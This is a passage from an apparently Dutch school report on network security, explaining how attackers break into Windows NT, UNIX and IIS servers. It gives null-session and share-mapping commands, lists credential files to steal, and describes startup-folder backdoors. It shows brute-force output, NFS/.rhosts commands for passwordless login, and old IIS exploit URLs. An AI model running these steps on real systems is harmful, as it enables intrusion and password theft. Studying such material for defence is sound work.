Is een commando dat aan een server gaat vragen wat zijn functie is binnen een bepaald domein en vraagt ineens ook de gegevens die betreffende server heeft over zijn PDC(=Primary Domain Controller, De belangrijkste computer met betrekking tot het domein).Het commando is weer te gebruiken in combinatie met de LMHOSTS aanpassing en de IPC null sessie.

5.2.5.5 NETWATCH.

Ook weer een commando dat gebruikt wordt om de shares op een andere computer te bekijken na LMHOSTS/IPC. Alleen hier is het mogelijk, door gebruik te maken van de juiste parameters, om ook een blik te werpen op de verborgen shares.

Op de Resource Kit CD staan ook nog programma's die het mogelijk maken van op afstand de registry te bekijken en aan te passen. Alhoewel het zelden lukt, is het toch ook mogelijk via een IPC null sessie. Ook de "User Manager for Domains" kan altijd eens getest worden, zelden kans, maar als het lukt des te gevaarlijker.

5.2.6 Het eigenlijke binnendringen.

Op basis van de gegevens die we nu zeker al hebben, de gegevens van NBTSTAT en deze van NET VIEW. Kunnen we een stapje verder gaan. De aanvaller kent de shares die beschikbaar zijn op de doelcomputer. Hij kan nu altijd proberen deze te mappen in zijn bestand voor "remote maps". Voorbeeld commando:

c:\>net use x: \\157.193.124.111\inetpub

Dit commando kan natuurlijk alleen maar slagen als de betreffende share niet voorzien is van een paswoord of wanneer de share toegekend is aan de "everyone" groep. Tot deze laatste behoor je dan automatisch omwille van de IPC$ null sessie. Indien hij er in slaagt zo een share bij hem te mappen, kan hij beginnen aan een hele reeks van penetratie pogingen. Bedenk wel dat de aanvaller niet alleen beperkt is tot de shares die zichtbaar zijn met "net view". Elke deftige NT gebruiker weet uit ervaring dat er voor elke partitie die NT gebruikt (bv. c:,d:,e:,...), telkens ook een verborgen share staat met een soortgelijke naam (bv. C$,D$,E$,...).

Net zoals de IPC$ share wordt aangemaakt om communicatie tussen twee NT servers mogelijk te maken, wordt er ook een ADMIN$ share gemaakt die direct leidt naar de map waarin NT geïnstalleerd is. Dus wanneer je NT hebt geïnstalleerd onder c:\winnt, dan komt deze share met deze map overeen. Eens men er in slaagt 1 computer te mappen binnen uw netwerk, wordt het veel eenvoudiger om verder door te dringen, omwille van het vertrouwen dat NT stelt aan de computers binnen zijn netwerk. Het kan dus goed zijn dat een aanvaller, dagen lang zijn tanden zit stuk te bijten op een belangrijke server en uiteindelijk binnen wandelt via een onbelangrijke computer die ook naar buiten openstaat.

5.2.7 Binnen en nu?

5.2.7.1 De gegeerde bestandjes.

Indien de aanvaller schrijf rechten kan veroveren op een van de gedeelde mappen, zal hij het zeker niet laten om een Trojan of Backdoor achter te laten, kwestie van later makkelijker binnen te komen. Heeft hij enkel leesrechten, dan zal hij op zoek gaan naar paswoord bestanden, bestanden die meer info kunnen opleveren met betrekking tot het netwerk of belangrijke informatie. Hieronder een lijstje van bestanden dat op Internet circuleert als "Things to look for on a cracked NT", telkens met een korte beschrijving.

Eudora.ini:

Dit bestand wordt gebruikt om configuratie informatie op te slaan voor de Eudora e-mail software. Het is geëncrypteerd, maar een makkelijk te vinden programma genaamd eudpass.com geeft u alle gebruikersnamen met hun respectievelijke paswoorden. Maar ook geeft het de nodige informatie om zelf een mailclient te configureren, om de gebruikers af te luisteren. Als je beseft dat de meeste gebruikers gewoonte dieren zijn en meestal op meerdere plaatsen hetzelfde paswoord gebruiken, is dit een belangrijke bron van informatie om verder te raken in het netwerk.

Tree.dat:

Een bestand dat gebruikt wordt door CuteFTP om gegevens te bewaren met betrekking tot FTPsites, gebruikersnamen en paswoorden. Met behulp van het programma FireFTP is het op een eenvoudige manier mogelijk het Tree.dat bestand te kraken.

PWL:

Bestanden die voorkomen op Windows95 computers. Ze worden gebruikt om bepaalde paswoorden te bewaren van de gebruiker en zijn te kraken met behulp van glide.exe.

PWD:

Deze bestanden komen voor op computers die Frontpage of Personel Webserver draaien. Geloof het of niet, in deze bestanden staat in leesbaar formaat de gebruikersnaam met daarbij in DES geëncrypteerd het paswoord. Een handige en veel gebruikte kraker van DES paswoorden is John The Ripper van Solar Designer.

WS_FTP.ini

en

PMAIL.ini:

Ook weer ini-bestanden met de gegevens zoals eerder besproken. Deze zijn zelfs heel eenvoudig met de hand te kraken, aangezien het paswoord wordt omgezet naar hexadecimale notatie(2 digits) en afhankelijk van de positie van de digit wordt er telkens zijn plaats bij opgeteld. Reverse enginering zal u het juiste paswoord opleveren.

IDC:

Bestanden die gebruikt worden om via een internet verbinding te leggen met een databank (Internet Database Connector). Indien er authenticatie nodig is voor deze verbinding, staat de gebruikersnaam/paswoord combinatie in dit bestand, niet zelden gewoon leesbaar.

$winnt$.inf:

Dit is een bestand dat soms achterblijft bij de installatie van NT. Het wordt gebruikt door het setup proces om bepaalde gegevens op te slaan en later terug te gebruiken. Als het er nog staat, vind je het onder %systemroot%\system32. Meestal bevat het ook de gebruikersnaam en het paswoord die gebruikt werden tijdens de installatie.

Sam._:

In de SAM databank houdt NT alle gegevens bij van de gebruikers en hun respectievelijke paswoorden. Bij een inbraak zal een aanvaller zeker op zoek gaan naar dit bestand. Maar vanuit beveiligingsoogpunt zet NT een slot op dit bestand wanneer het systeem aan het draaien is. Aangezien de inbreker vanop afstand inbreekt, is de doelcomputer dus aan het draaien en is dit bestand niet beschikbaar. Maar wanneer de beheerder van de doelcomputer een nooddiskette heeft gemaakt om in geval van nood het systeem te herstellen, dan kan de inbreker altijd een copy vinden van de SAM databank. Deze copy noemt sam._ en bevindt zich onder %systemroot%\repair\ en geloof het of niet dit bestand is voor de "everyone" groep leesbaar. Door gebruikt te maken van het programma samdump, te vinden op http://www.l0pht.com, krijg je de gegevens die in het bestand opgeslagen zijn.

Elk software programma dat je installeert en dat gebruik maakt van enige vorm van login heeft wel ergens een bestandje staan met de juiste gegeven, opdat het kan controleren of het ingevoerde juist is. Daarom is het raadzaam steeds dit bestandje van de nieuwe software even op te sporen en te kijken of het wel deftig beveiligd is. Is dat niet zo, kijk dan eens rond voor software die dat wel doet. Denk er ook aan dat een bestand dat goed geëncrypteerd is, soms gewoon te kopiëren is door de aanvaller, om het vervolgens te gebruiken bij een lokaal geïnstalleerde versie van het programma, om alzo de gegevens te bekomen.

5.2.7.2 Het achterlaten van deurtjes.

In het vorige deel werd een deftig overzicht gegeven over achterdeurtjes en hun evolutie, laten we nu eens kijken hoe een indringer deze techniek gebruikt bij een NT computer.

5.2.7.2.1 ``PWDUMP''.

Een van de meest interessante deurtjes die een indringer kan achterlaten is natuurlijk de PWDUMP. Dit commando wordt gebruikt om de paswoorden en gebruikersnamen weer te geven aan de beheerder. Als de indringer nu geslaagd is in het bereiken van een share, zal hij proberen een batch bestandje achter te laten in de beheerders start-up map. Dit batch bestandje is dan een opeenvolging van dingen die dienen te gebeuren. Eerst en vooral zal er voor dit bestandje een onopvallende naam worden gekozen, bijvoorbeeld virusscan.cmd.

In de batch dient dan het PWDUMP programmaatje verstopt te zitten, samen met de nodige camouflage technieken die er voor zorgen dat het programma ongemerkt wordt uitgevoerd en dat het zichzelf verwijdert. Wanneer nu de beheerder inlogt op zijn account zal automatisch het bestandje worden uitgevoerd, aangezien het in de start-up map is gedropt. De volgende keer dat de inbreker binnen komt hoeft hij enkel maar het door PWDUMP gecreëerde tekstbestandje op te halen en hij heeft alle gegevens van de gebruikers.

5.2.7.2.2 ``Keystrokes''.

Een ander batch bestandje maakt het mogelijk alle toetsaanslagen van een gebruiker, op te slaan. Interessant hier is dat het niet zo zeer bij de beheerder dient geplant te worden, wel weer in de start-up map. Nadeel is natuurlijk wel dat het initiële gebruikersnaam/paswoord niet kan geregistreerd worden omdat NT op dat moment alle processen even stillegt. Maar als de gebruiker vervolgens zijn mail gaat lezen of gaat FTP-en dan worden die login gegevens wel geregistreerd.

5.2.7.2.3 ``AT''.

Het meest gevaarlijke batch bestandje dat een indringer kan achterlaten is eentje dat geactiveerd wordt door de beheerder en dat op een bepaald tijdstip het AT commando activeert. Het AT commando loopt als systeemproces en is in staat copies te maken van het SAM bestand en alle registries. Heel gevaarlijk dus aangezien deze twee informatiebronnen alles blootleggen over de doelcomputer.

5.2.8 Nog niet binnen wat nu?

We gaan er vanuit dat de aanvaller wel een goed idee heeft gekregen van de gebruikers op de doelcomputer en dat hij er nog steeds niet in is geslaagd om een share te pakken te krijgen.

De volgende stap is natuurlijk "Brute Force". Ook al eerder besproken in het vorige deel maar nu iets meer gespecificeerd met betrekking tot NetBIOS. Het hardhandige programmaatje bij uitstek met betrekking tot NetBIOS is NAT.EXE. Het programma maakt gebruik van een gebruikerslijst en een kandidaat paswoordlijst. Deze twee lijsten worden eerst aangemaakt door de gebruiker van NAT of er worden gewoon speciaal hiervoor gemaakte woordenboeken van Internet gehaald.

Een interessant programma met betrekking tot het aanmaken van zo een lijstje heet Refiner. Het is speciaal ontwikkeld voor netwerkbeheerders, maar zoals de meeste programma's van deze aard is het ook een handig hulpmiddel voor inbrekers.. Het vraagt een aantal gegevens en op basis daarvan gaat het zelf een lijst aanmaken met kandidaat paswoorden.

Nat aanvaard ook meerdere IP adressen en gaat dan binnen dit bereik proberen in te loggen via NetBIOS op de verschillende computers. Laten we eens kijken naar een mogelijke uitdraai van dit programma om een idee te krijgen hoe het juist werkt.

[*]-- Reading usernames from userlist.txt

[*]-- Reading passwords from passlist.txt

[*]-- Checking host: 157.193.124.111

[*]-- Obtaining list of remote NetBIOS names

[*]-- Attempting to connect with name: *

[*]-- Unable to connect

[*]-- Attempting to connect with name: *SMBSERVER

[*]-- CONNECTED with name: *SMBSERVER

[*]-- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]-- Server time is Tue MAY 02 11:33:46 2000

[*]-- Timezone is UTC-4.0

[*]-- Remote server wants us to encrypt, telling it not to

[*]-- Attempting to connect with name: *SMBSERVER

[*]-- CONNECTED with name: *SMBSERVER

[*]-- Attempting to establish session

[*]-- Was not able to establish session with no password

[*]-- Attempting to connect with Username: `ADMINISTRATOR" Password: `ADMINISTRATOR"

[*]-- Attempting to connect with Username: `ADMINISTRATOR" Password: `GUEST"

[*]-- Attempting to connect with Username: `ADMINISTRATOR" Password: `PASSWORD"

[*]-- CONNECTED: Username: `ADMINISTRATOR" Password: `PASSWORD"

[*]-- Obtained server information: Server=[NORMAN] User=[] Workgroup=[ASTRID] Domain=[]

[*]-- Obtained listing of shares:

Sharename Type Comment

----- -- ----

ADMIN$ Disk: Remote Admin

C$ Disk: Default share

D$ Disk: Default share

E$ Disk: Default share

HPLaser4 Printer: HP LaserJet 4Si

IPC$ IPC: Remote IPC

NETLOGON Disk: Logon server share

print$ Disk: Printer Drivers

[*]-- This machine has a browse list:

Server Comment

----- ----

NORMAN

[*]-- Attempting to access share: \\*SMBSERVER\

[*]-- Unable to access

[*]-- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]-- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]-- Checking write access in: \\*SMBSERVER\ADMIN$

[*]-- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]-- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]-- Attempting to access share: \\*SMBSERVER\C$

[*]-- WARNING: Able to access share: \\*SMBSERVER\C$

[*]-- Checking write access in: \\*SMBSERVER\C$

[*]-- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]-- Attempting to exercise .. bug on: \\*SMBSERVER\C$

...

[*]-- Attempting to access share: \\*SMBSERVER\print$

[*]-- WARNING: Able to access share: \\*SMBSERVER\print$

[*]-- Checking write access in: \\*SMBSERVER\print$

[*]-- WARNING: Directory is writeable: \\*SMBSERVER\print$

[*]-- Attempting to exercise .. bug on: \\*SMBSERVER\print$

[*]-- Attempting to access share: \\*SMBSERVER\ROOT

[*]-- Unable to access

...

Het is duidelijk zichtbaar wanneer er een geldige gebruikersnaam/paswoord wordt gevonden. Het volgende dat de aanvaller gaat doen is dan gewoon manueel inloggen op de computer, met behulp van de gevonden combinatie, en vervolgens zijn aanval lanceren.

5.3 Besluit.

Dit moet al een duidelijk beeld geven van wat er allemaal vanop afstand mogelijk is op een NT computer. Denk eraan dat een aanvaller waarschijnlijk nog tientallen keren creatiever is en zijn eigen combinaties gaat maken. Ook de programma's die Microsoft voor grof geld ter beschikking worden gesteld van de netwerkbeheerders, zijn welkome hulpmiddelen voor aanvallers.

6. Herhaling van de methode maar nu toegepast op het UNIX domein.

6.1 Inleiding.

Aangezien er niet al te veel UNIX computers binnen het school te bespeuren zijn, zal dit stuk kort gehouden worden. Meer tot doel een herhalend overzicht te zijn dan een handleiding voor UNIX. De geïnteresseerden kunnen steeds hun licht verder opsteken bij Garfinkle, Simons en Spafford, die een algemeen aanvaard werk over UNIX security hebben uitgebracht, namelijk ``Practical UNIX Security''.

6.2 Informatie inzamelen en binnendringen.

Laten we eens van buiten uit naar een UNIX netwerk kijken. Wat zijn de mogelijke bronnen van informatie die meestal standaard aanwezig zijn in een UNIX omgeving? Kijk eens of volgende diensten niet beschikbaar zijn : finger, showmount, rpcinfo, DNS, whois, sendmail (smtp), ftp, uucp,...

"finger":

is een service die u algemeen meedeelt wie er op dat moment ingelogd is. Maar je kan de bestemming ook gaan ondervragen naar specifieke gebruikers op het netwerk, zoals daar zijn, root, bin, ftp, system,... Welke informatie je terug krijgt, is afhankelijk van de finger versie die er draait en hoe die geconfigureerd is. Laten we eens kijken naar een mogelijke reactie wanneer we bijvoorbeeld vragen naar de root van de doelcomputer.

Gandalf% finger [email protected].

Login Home-dir Shell Last login, from where

--- ---- -- ---------

root / /bin/sh Fri MAY 5 16:43 on ttyp1 from alfa.doelcomputer.com

Hiermee weten we dus dat er een gebruiker is ingelogd geweest als root op vrijdag 5 mei. Maar ook belangrijk is dat er blijkbaar een computer is binnen het domein met de naam alfa.

``showmount'':

toont of er op de doelcomputer shares gedefinieerd zijn, en zo ja welke voorwaarden dat er aan verbonden zijn.

Gandalf%showmount -e doelcomputer.com

export list for doelcomputer.com

/export (everyone)

/var (everyone)

/usr easy

/export/root/easy easy

/export/swap/easy easy

Als hieruit zou blijken dat doelcomputer.com bepaalde gebruikersmappen naar buiten open heeft staan met daarin gebruikerscommando's, zoals daar zijn /usr en /usr/local/bin, is het natuurlijk heel makkelijk om een bestaande instructie te vervangen of uit te breiden. Zodat de gebruiker onbewust een achterdeurtje open zet, of bijvoorbeeld het paswoord bestand door mailt.

Laten we er nu eens van uit gaan dat we met behulp van finger te weten zijn gekomen dat er een gebruiker "guest" is aangemaakt en dat deze gebruiker als home directory /export/tmijn heeft. Dan blijkt nu uit deze showmount dat /export/tmijn geëxporteerd is voor iedereen. /export/tmijn kunnen we nu mounten onder ons eigen bestandssysteem.

Gandalf#mount doelcomputer.com:/export/tmijn /tmijn

Gandalf#cd /tmijn

Gandalf#ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 May 3 11:35 .

1 drwxr-xr-x 7 root wheel 512 Jan 16 2000 ..

1 drwx-x-x 9 10001 daemon 1024 May 4 18:18 guest

Hierin zijn we het gebruikersnummer van guest, namelijk 10001. Aangezien we niet aan het verwijderd paswoordbestand kunnen, gaan we in het lokale paswoordbestand een lijn toevoegen voor de gebruiker guest met hetzelfde gebruikersnummer.

Gandalf#echo guest:x:10001:1:tijdelijk account om in te breken:/: >> /etc/passwd

Gandalf#ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 May 3 11:35 .

1 drwxr-xr-x 7 root wheel 512 Jan 16 2000 ..

1 drwx-x-x 9 guest daemon 1024 May 4 18:18 guest

Let op het feit dat de eigenaar van de guest map veranderd is van 10001 naar guest.

Gandalf#su guest

Hier wordt van gebruiker gewisseld, aangezien we eerst als root waren ingelogd, is het niet noodzakelijk een paswoord te geven.

Gandalf%echo doelcomputer.com >> guest/.rhosts

Aangezien je nu guest bent, kan je op de doelcomputer een .rhost bestandje maken in de home directory van guest. Hierdoor kan je inloggen op de doelcomputer zonder een paswoord te moeten geven;)

Gandalf%rlogin doelcomputer.com

Welcome to doelcomputer.com

doelcomputer%

Controleer ook steeds dat er in het /etc/hosts.equiv bestand geen "+" alleen op een regel staat. Dit wil zeggen dat van eender welke computer een gebruiker, behalve root, mag inloggen, zonder authenticatie, als zijn gebruikersnaam overeenstemt met een lokale gebruiker. Aangezien de gebruiker bin overal aanwezig is en toegang heeft tot belangrijke bestanden en mappen, is dat zeker een te proberen aanval. Meer in het algemeen, controleer in alle bestanden die betrekking hebben tot gebruikersauthenticatie of er nergens geen wildcards voorkomen.

6.2.1 Nog niet binnen?

We halen onze favoriete poortscanner boven en gaan een keertje kijken welke services er allemaal beschikbaar zijn. Ga vervolgens na of je meer informatie kan te pakken krijgen over de betreffende services. Bijvoorbeeld je merkt dat er op de doelcomputer een ftp server beschikbaar is. Probeer dan eerst al eens in te loggen om te kijken welke informatie deze server u prijs geeft door gewoon anoniem in te loggen. Vaak wordt je vriendelijk verwelkomd met de mededeling welke ftp software er draait. Ideaal toch, effe de gekende exploit lijsten afgaan om te kijken of er geen programmaatje is dat u kan helpen in te breken. Kijk ook eens met behulp van "help" welke commando's er kunnen uitgevoerd worden.

Ga ook eens kijken of er geen NIS of NFS service draait op de doelcomputer. Met behulp van rpcinfo ("remote procedure call information"), een programma dat kan praten met de verwijderde portmapper, kan je dit te weten komen.

Bij NIS is het mogelijk, door enkel de domeinnaam van de NIS server te kennen, deze te ondervragen met een eenvoudige rpc query, om alzo de NIS mappen te verkrijgen. Zelfs wanneer je niet binnen het lokale netwerk zit, waarvoor de NIS server is bedoeld. Als je weet hoe vlug sommige mensen hun paswoorden kiezen, zal het wel niet verbazen dat de naam van de meeste NIS domeinen op een heel eenvoudige manier te achterhalen zijn. NIS is een heel onveilige service, omdat hij gemaakt is om gegevens op een transparante manier op een centrale server beschikbaar te stellen voor een groep van gebruikers. De beveiliging op NIS is zo miniem dat je er echt wel serieus hoeft over na te denken of je het wel nodig hebt.

Onderzoek ook eens het programma dat gebruikt wordt om de e-mail af te handelen. Sendmail is een van de meest gekende. Maar omwille van zijn moeilijke configuratie is er meestal wel ergens een foutje te vinden. Daarbij komt dat het programma interessante informatie kan afleveren met betrekking tot de gebruikers. Twee commando's kunnen hiervoor gebruikt worden. "vrfy" geeft u de mogelijkheid om te vragen of een bepaald adres juist is, "expn" geeft u weer naar wat een adres uitbreidt, bijvoorbeeld een adres als [email protected] zal dan weergegeven worden als [email protected].

6.3 Besluit.

Probeer zoveel mogelijk gevoelige informatie verborgen te houden. Iemand die gebruik maakt van FTP hoeft niet te weten wat voor software uw FTP vertegenwoordigd. Een dienst zoals finger, die in zijn meest uitgebreide vorm vaak ook het thuisadres en telefoonnummer van de betreffende persoon bevat, kan handig zijn voor intern gebruik, maar is onnodig voor een externe gebruiker. Installeer enkel die software die je echt nodig hebt. Bij elke applicatie die je meer installeert, verhoog je het risico op mogelijke ingangen.

7. De Webserver als mogelijke toegang.

7.1 Inleiding.

Omdat de media heden ten dagen niet stil staat van de gekraakte websites en onze school ook zo haar eigen verzameling van webservers heeft, volgt hier een overzicht van de mogelijkheden die Microsoft IIS (Internet Information Server) biedt voor een aanvaller. Hieronder staat een verzameling van veel voorkomende aanvallen. Ondanks het feit dat de meeste al jaren gekend zijn, zijn er nog steeds webservers te vinden die er voor door de knieën gaan. Het geheel is een chronologische opeenvolging van gerapporteerde bugs, vertrekkend van een van de eerste versies van IIS. Niet bedoeld als bladvulling, maar om een idee te geven in welke richting de aanvallen in de loop van de tijd evolueren. Net zoals je de geschiedenis een beetje hoeft te kennen om de hedendaagse maatschappij te begrijpen.

7.2 Informatie inzamelen.

Met informatie inzamelen bedoelen we hier zowel het zoeken naar informatie met betrekking tot de webserver die wordt aangevallen, als informatie die gebruikt kan worden bij aanvallen op andere delen van het netwerk.

7.2.1 Met welke webserver hebben we te maken?

De oudst denkbare manier om daar achter te komen, die nog steeds gebruikt kan worden, is een telnet sessie naar poort 80 van de betreffende server. Een eenvoudig GET commando geeft dan als antwoord de HTTP hoofding (header). In deze header staat welke software en welke versie er wordt gebruikt. Zoals eerder al gezegd is dit interessante informatie voor het opsporen van bugs en exploits.

Voor zij die het liever een beetje moderner aanpakken, is er de mogelijkheid om naar http://www.netcraft.com te surfen. Daar kan je een zoek programma gebruiken dat dezelfde informatie op een duidelijk manier voorstelt. Maar het biedt ook andere mogelijkheden, zo is het mogelijk te vragen naar alle gekende webservers in het betreffende domein. Bijvoorbeeld als je kahosl.be zou ingeven, krijg je zeker al www.kahosl.be, eduserv.kahosl.be en allserv.kahosl.be.

7.2.2 Een van de eerste aanvallen op IIS.

Laten we uitgaan van een verse IIS installatie met alles op de standaard plaatsen geïnstalleerd. Dan is de CGI map gelijk aan /scripts, er zijn geen bestanden van het type abracadabra.bat of abracadabra.com in deze map geïnstalleerd, en de IIS webserver linkt bestanden die eindigen op .bat en .cmd automatische aan cmd.exe. Ben je niet zeker? Kijk dan eens in de registry. Daarin zal je volgende sleutel vinden : ``HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \W3SVC \Parameters \ScriptMap'' Welke volgende regel bevat:`` .bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s'' Wanneer nu een aanvaller het volgende probeert, http://www.web.com/scripts/abracadabra.bat?dir+c:\+?&time, vraagt de webbrowser hoe hij het document wenst op de slaan. Vervolgens begint de browser effectief met het opslaan van het document, het ``download'' venster is zichtbaar. Dat wil dus zeggen dat deze oudere versies van IIS de aanvaller de mogelijkheid gaven om eender welke batch bestand uit te voeren. Hier wordt gebruik gemaakt van het time commando, deze actie stopt nooit, dus wanneer de aanvaller op beëindigen ("cancel") klikt, wordt er ook niets opgeslagen in de log bestanden.

Het grappige is dat deze fout reeds eerder voorkwam bij de Netscape server. Alleen daar was het mogelijk slechts 1 commando door te geven. Microsoft deed beter, de bug was al geregistreerd bij het verschijnen van hun IIS, en gaf de aanvaller de mogelijkheid meerdere commando's gelijktijdig mee te geven.

Als we even samenvatten, was het voor een beetje ervaren aanvaller mogelijk om eerst een batch door te sturen naar de server, deze vervolgens te laten uitvoeren en toch niet in de logs te verschijnen, doordat het meegegeven time commando werd afgebroken.

7.2.3 De ``Double dot bug'' en zijn varianten.

De volgende gerapporteerde fout staat bekend als de ``double dot bug''. Ook enkel van toepassing op oudere IIS servers. Het erge aan deze fout was dat het de mogelijkheid gaf aan de inbreker om van het geprepareerde pad af te wijken.

Normaal gezien is er op een webserver een aantal mappen voorzien met daarin html- en andere bestanden die aan elkaar gelinkt zijn, alles wat een bezoeker krijgt te zien wanneer hij op alle mogelijke links klikt op een webpagina. Nu is het ook mogelijk dat er op deze server ook andere gegevens staan die alleen van belang zijn voor zij die ze weten staan. Als nu een aanvaller het volgend meegaf : http://www.web.com/..\.. kwam hij automatisch in de hoofdmap van de server terecht, waardoor hij alle informatie kon bekijken die op de server stond.

De volgende bug die werd gerapporteerd betrof een variant op de ``double dot bug''. Het gaf de aanvaller de mogelijkheid om scripts uit te voeren die op de server aanwezig waren, eender waar deze zich situeerden. Het betrof http://www.web.com/..\..\scriptnaam. Ondanks het feit dat het niet meer mogelijk was om de ``double dot bug'' te gebruiken, om te gaan snuffelen op de server, gaf het commando nog altijd de mogelijkheid scripts uit te voeren die buiten het geprepareerde pad stonden.

Hierna verschenen er bijna wekelijks nieuwe variatie op hetzelfde thema. De meest opvallende was een opmerking van iemand dat het misschien mogelijk was om zelf een script aan te maken op de server en deze vervolgens uit te voeren. De gesuggereerde URL betrof: http://www.web.wom/scripts/script_name%0A%0D>PATH\test.bat. Eerst werd er aan deze opmerking geen gevolg gegeven, tot er een week later een volledige handleiding op Internet verscheen om langs deze weg het sam._ bestand te kopiëren.

7.2.4 ``Active Server Pages''.

Vanaf IIS 3.0 introduceerde Microsoft asp (Active Server Page), een technologie die het mogelijk maakte de pagina's meer dynamiek te geven. Het wordt gebruikt om verbindingen te leggen met databanken, maar ook voor het zoeken naar documenten en het laten roteren van figuren. Het concept bestaat erin dat tussen de HTML code ook scripts verwerkt staan die aan server zijde worden uitgevoerd en aan client zijde een meer dynamische aanblik geven.

Eens dit principe algemeen ingeburgerd raakte doken natuurlijk ook direct misbruiken op. Het eerst geregistreerde probleem betrof het zichtbaar zijn van de script code. Namelijk als een gebruiker volgende URL ingaf: http://www.web.com/default.asp, kreeg hij de standaard asp pagina. Maar wanneer hij nu een "." op het einde toevoegde, kreeg hij de volledige code van het script te zien. Aangezien asp soms werd gebruikt om verbinding te leggen met databanken en andere toepassingen die vaak authenticatie vereisten, stond deze authenticatie informatie in het script verwerkt en was gewoon leesbaar voor een kandidaat aanvaller.

Toen er een ``patch'' beschikbaar was voor deze fout, kwam de creativiteit van de aanvallers naar boven. Of moet er gezegd worden, het gebrek aan creativiteit bij de patch-schrijvers? Als de aanvaller namelijk het "." gewoon verving door zijn hexadecimale notatie en dat zo doorgaf aan de server, bleek hij nog altijd de scripts te kunnen lezen zonder dat ze werden uitgevoerd. Hieronder een aantal voorbeeld URL's die na het vrijgeven van de patch nog bleken te werken.

http://www.web.com/default%2easp%2e

http://www.web.com/default%2e%41sp%2e

Het mag duidelijk zijn dat dit nog maar het begin is van het kijken naar scripts. Aangezien de informatie die in deze scripts verwerkt zit met de tijd waarschijnlijk veel belangrijker gaat worden, zullen er ook steeds nieuwe mogelijkheden opduiken om ze te bekijken van op afstand.

7.2.5 ``Index Server''.

Een andere populaire manier om informatie te bekijken op een server werd aangebracht door Microsoft zelf. Ze gaven de beheerder van hun IIS 3.0 servers namelijk de mogelijkheid om een zoekpagina aan te maken. Daarvoor stelden ze zelf een zoekprogramma ter beschikking. Dit programma noemt Index Server. Ondanks het feit dat er niet direct fouten zijn gekend met betrekking tot het programma, lag het probleem hier in de moeilijkheid van het configureren.

Laten we eens kijken naar een mogelijke aanval. http://www.web.com/samples/search/queryhit.htm. In deze URL wordt er verwezen naar de standaard configuratie die er op een IIS server aanwezig is. Als deze gewijzigd is door de beheerder kan de gebruiker nog altijd op de knop 'search This Site" klikken. Vervolgens komt de gebruiker, als de zoekpagina is geactiveerd, op een pagina waar een venstertje staat om de te zoeken parameters in te geven. Een normale gebruiker zou dit venstertje gebruiken om op zoek te gaan naar informatie die op de website aanwezig is. Een aanvaller daarentegen zal proberen de grenzen van de zoekmachine af te tasten, en zal gaan kijken of het niet mogelijk is om per toeval een bestand op te snorren met de extensie "._" . Want wanneer de beheerder van de server een backup van de server heeft gemaakt, iets wat levensnoodzakelijk is, moet er ergens op de server een bestandje staan met de naam sam._, het eerder besproken gegeerde paswoord bestand.

Een mogelijke vraag zou zijn: "#filename=*._" Als deze vraag bijvoorbeeld de sam._ als antwoord weergeeft, betekent dit ook dat hij bereikbaar is voor de gebruiker.

7.2.6 ``iisadmin''.

Iets waar ook steeds naar uitgekeken dient te worden is de configuratie van iisadmin. Dit onderdeel van de server is bereikbaar via http://www.web.com/iisadmin bij een standaard installatie. Controleer of de juiste gebruikersrechten op deze pagina gezet zijn. Het zou kunnen dat de aanvaller zonder iets te kunnen wijzigen, toch een kijkje kan werpen op deze gevoelige informatie.

7.2.7 ``Frontpage''.

Bij het verschijnen van de Microsoft Frontpage extensies begin 1998, doken er ineens ook een hele hoop webserver aanvallen op. De extensies maken bepaalde taken voor de beheerder veel eenvoudiger, maar blijkbaar werd het overnemen van een server ineens ook een stuk eenvoudiger. Het probleem situeerde zich in de standaard installatie van Frontpage. Het liet namelijk toe dat de server niet voorzien werd van een paswoord, of dat beheerdersrechten werden toegekend aan de "Everyone" groep. Iedereen dus ook de anonieme surfer.

Een server die Frontpage draait, zal een aantal mappen hebben die beginnen met de letters "_vti". Als je deze mappen tegenkomt, open dan je eigen versie van Frontpage, een aanvaller moet op alles voorbereid zijn, ga naar "Open Frontpage web" en plaats daar de URL of het IP adres van de gevonden server. Als de server goed geconfigureerd is zal je een venster krijgen met de vraag voor een gebruikersnaam/paswoord. Als je een ideetje hebt kan je altijd eens proberen. Probeer ook eens administrator/password.

Deze manier van werken kan ook gebruikt worden om een lijst van gebruikers vast te krijgen. Er bestaan zelfs speciale "brute force attack" programma's voor dit doel. Aangezien dit een serieus probleem werd, is Microsoft met een oplossing gekomen. Om te voorkomen dat men nog servers opende met behulp van Frontpage kan je een beperkte groep van gebruikers definieren, bijvoorbeeld ``FP_www.web.com:80''. Het blijkt ook effectief te werken als je bij "open frontpage web" de domein naam ingeeft. Als een aanvaller daarentegen het IP adres van uw server ingeeft, merkt hij niets van de beperkingen en kan gewoon zijn gang gaan.

Een ander foutje dat een beheerder kan maken, is de rechten van de map _vti_pvt verkeerd zetten. In deze folder staat namelijk het paswoord bestand dat Frontpage gebruikt. Veronderstel dat een gebruiker volgend URL kan verkrijgen : http://www.web.com/_vti_pvt. Dan kan hij in deze folder op zoek gaan naar service.pwd. Heeft daarentegen de beheerder de rechten van de folder _vti_pvt juist gezet, zodat een nieuwsgierig persoon er niet kan in gaan neuzen, dan kan het nog altijd zijn, omwille van de configuratie van NTFS, dat een directe toegang nog mogelijk is. Test daarom het volgende ook eens: http://www.web.com/_vti_pvt_service.pwd.

Het service.pwd bestand is geëncrypteerd met behulp van DES. Effe terug John The Ripper opsnorren en je hebt de gebruikersnaam en paswoord combinatie. Deze combinatie kan gebruikt worden om via Frontpage in loggen op de webserver. Maar het is ook mogelijk met behulp van deze combinatie een share van de verwijderde server lokaal te mappen.

Natuurlijk een samenloop van omstandigheden kunnen een aanval op de server nog gemakkelijker maken. Het volgende mag misschien net iets te veel toeval lijken, maar het komt dus effectief voor.

In sommige omgevingen is het noodzakelijk om op de webserver ook een ftp server te draaien. Stel nu dat de ftp server zodanig geconfigureerd is dat een anonieme gebruiker schrijftoegang heeft op de ftp site. De volgende stap is dan het aanmaken van een lokale map van het type ``_vti_bin'' en in deze map een script naar keuze te kopiëren. Het is nu mogelijk, dankzij Frontpage, met behulp van onderstaande URL het script naar keuze uit te voeren.

http://www.web.com/_vti_bin/mijnscript

